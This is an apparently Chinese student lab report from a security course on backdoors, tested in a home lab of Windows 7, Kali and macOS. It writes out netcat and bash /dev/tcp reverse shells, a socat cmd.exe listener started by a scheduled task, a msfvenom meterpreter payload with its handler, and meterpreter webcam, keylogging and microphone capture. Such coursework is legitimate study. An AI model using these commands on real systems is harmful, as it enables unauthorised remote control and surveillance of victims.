Exp2 后门原理与实践 Week4 - 20165201
(由于图片比较大,看的时候需要关闭侧边栏~)
学习目标
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告
学习内容
- 使用nc实现win,mac,Linux间的后门连接
- meterpreter的应用
- MSF POST 模块的应用
实验环境
- macOS Mojave
- Kali
- Windows7
相关知识
1.后门概念
后门就是不经过正常认证流程而访问系统的通道。
哪里有后门呢?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
下面是近些年的一些例子:
1、编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
2、操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
3、操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
4、固件:更多思科路由器发现后门:中国有4台
5、应用:研究人员发现macOS版Skype内置了后门
6、应用:从广升“后门”事件看企业道德底线
7、应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?
相对狭义的后门的概念:
- 特指潜伏于操作系统中专门做后门的一个程序
- “坏人”可以连接这个程序
- 远程执行各种指令
- 概念和木马有重叠
首先得有这么一个程序
- netcat 系列
- meterpreter
- intersect
- ...特别多
其次得放到系统里
- 正版软件故意或被攻击,包含后门
- 正版库文件中包含后门
- 本质上,需要诱骗你下载操作的,都属于各种钓鱼吧
- 安装包中包含后门,放到网上供下载
- 绑定到特定文件中,放到网上供下载
- 直接发送恶意程序给你
- 直接发送攻击性钓鱼链接给你,恶意网站种马
- 捡到个U盘,打开个文件看看?
- 煤女帅锅拿U盘直接拷给你
- 攻击系统漏洞,获取控制权后,安装后门
再次还得运行起来
- 开机自启动技术
- win的定时任务
- linux的cron
- 伪装成常用软件,诱使用户点击
- 木马化正常软件
最后还得不被本机的恶意代码检测程序发现
- 恶意代码免杀技术
也不能被本机的或网络上的防火墙发现
- 反弹式连接
- 加密连接
- 隧道技术
2. 常用后门工具
2.1 NC 或 netcat
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
- Windows: 课程主页附件中下载ncat.rar解压即可使用。
- Mac: 系统自带,"man nc",查看其使用说明。
下面是NCAT常用参数!!!
-h 查看帮助信息
-g hop1[,hop2,...] 松散源路由跳点(最多8个)
-G <n> 指向器数目 (4,8,12,...)
-d, --delay <time> 同时建立的最大连接数
-o, --output <filename> 输出文件
-x, --hex-dump <filename> 十六进制输出文件
-i, --idle-timeout <time> 空闲读/写超时时间
-p, --source-port port 指定特定的源端口
-s, --source addr 指定特定的源ip
-l, --listen 绑定并监听传入的连接
-k, --keep-open 在监听模式下接受多个连接
-t, --telnet 应答Telnet握手协议
-u, --udp 使用udp代替默认的tcp
--sctp 使用sctp代替默认的tcp
-w, --wait <time> 连接超时时间
-e, 参数后面跟一可执行程序的名称,当一个连接(入或出)被建立时,这个程序被运行。尤其当NetCat以服务器端运行时,-e参数使其有点象inetd了,只是只能运行一个进行而已。需要说明的是,-e后的程序不能从NetCat的命令行接收参数,如果有参数要传递,可能需要一个脚本
2.2 Meterpreter
- 后门就是一个程序
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter
揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理
实验具体内容
1.用nc或netcat获取远程主机的Shell
1.1 Win获得Linux Shell
1.1.1 windows 打开监听
- 用
ipconfig
命令查看本机IP为192.168.109.158
关闭Windows7的防火墙!!!
- 下载ncat并进入该目录,输入
ncat.exe -l -p 5201命令
1.1.2 Windows反弹连接Linux
1.1.3 Linux下看到Windows的命令提示
1.2 Linux获得Win Shell
- 用ifconfig命令查看本机IP为
192.168.109.149
-
Linux运行监听指令,输入命令
nc -l -p 5201
-
Windows反弹连接Linux,在ncat目录下输入命令
ncat.exe -e cmd.exe 192.168.109.149 5201
-
然后在Linux上就可以操纵Windows的cmd啦!!
1.3 Mac获取Win shell
- macOS上打开终端,输入命令ifconfig查看本机IP为
172.20.10.2
输入命令nc -l 5201
运行监听指令
- Windows反弹连接macOS,在ncat目录下输入命令
ncat.exe -e cmd.exe 172.20.10.2 5201
然后就成了!!!
1.4 Win获取Mac Shell
- Windows下启动监听,在ncat目录下输入命令:
ncat.exe -l -p 5201
- Mac下连接Win,输入命令
bash -i >& /dev/tcp/172.20.10.2/5201 0>&1
- Win获得Mac的shell !!!
1.5 Mac获取Linux Shell
- 输入命令
nc -l 5201
运行监听指令
过程类似
1.6 Linux获取Mac Shell
- 过程类似上面的,结果如下
2.使用socat获取主机操作Shell, 任务计划启动
-
在Windows 7中打开
开始菜单
,找到管理工具
并打开,找到任务计划程序
并打开,点击创建任务
-
在触发器一栏中点击新建
-
然后将开始任务设置为
工作站锁定时
-
点击
常规
选项卡,输入学号
-
再点击
操作
选项卡,点击新建
,程序或脚本中选择socat.exe
路径,在添加参数一栏中写`tcp-listen:5201 exec:cmd.exe,pty,stderr(作用是把cmd.exe绑定到端口5201,同时把cmd.exe的stderr重定向到stdout上),点击确定保存设置
-
在左侧的任务计划程序里面找到20165201任务,右键点击,然后运行,会出现下图的情况
-
在Kali Linux中输入
socat - tcp:192.168.109.158:5201
命令,可以成功得到一个cmd shell !!!
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在kali输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.109.149 LPORT=5201 -f exe > 20165201_backdoor.exe
生成后门程序
-
在Win7中输入
ncat.exe -lv 5201 > 20165201_backdoor.exe
进入接收文件模式
-
在kali中输入
nc -nv 192.168.109.158 5201 < 20165201_backdoor.exe
IP为win7的IP
-
传输成功!
-
在Kali中打开一个终端,输入
msfconsole
进入msf控制台 -
每次进去图案都不一样!
-
依次输入以下命令:
-
输入
use exploit/multi/handler
使用监听模块,设置payload -
输入
set payload windows/meterpreter/reverse_tcp
使用和生成后门程序时相同的payload -
输入
set LHOST 192.168.109.149
-
输入
set LPORT 5201
-
输入
show options
进行查看,显示设置的ip地址和端口号 -
输入exploit开始监听
- 此时在win7中运行后门程序
20165201_backdoor.exe
- kali获得win10的连接,并且得到了远程控制的shell
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
4.1 用help
命令查看meterpreter基本功能
4.2 输入webcam_snap
使用摄像头进行拍照
我这摄像头拍出来就是黑的。。。但是在Mac上就可以正常使用摄像头,而且录像是好的,底下有图,不知道为啥只有拍照不可以。。。
4.3 输入keyscan_start
开始记录击键的过程,输入keyscan_dump
读取击键的记录
4.4 用webcam_stream
命令可以录像!
录像的时候摄像头就是好的!
4.5 用record_mic
命令录一段音频
实验感想
这次的实验其实并不难,原本以为后门是个很难的东西,一直听学长说,自己动手操作起来还是很好上手的~下次我要多留出几天做实验,就怕特殊情况的发生
我做实验+写报告的一天里,经历了上周室友遭受的急性肠胃炎......我俩真是多灾多难啊...服了。然后我的Mac还崩了好多次,重装了好几次win7,晚上的时候终于弄好了,然后就急性肠胃炎了...写这个的时候我肚子又开始疼,还有些恶心想吐。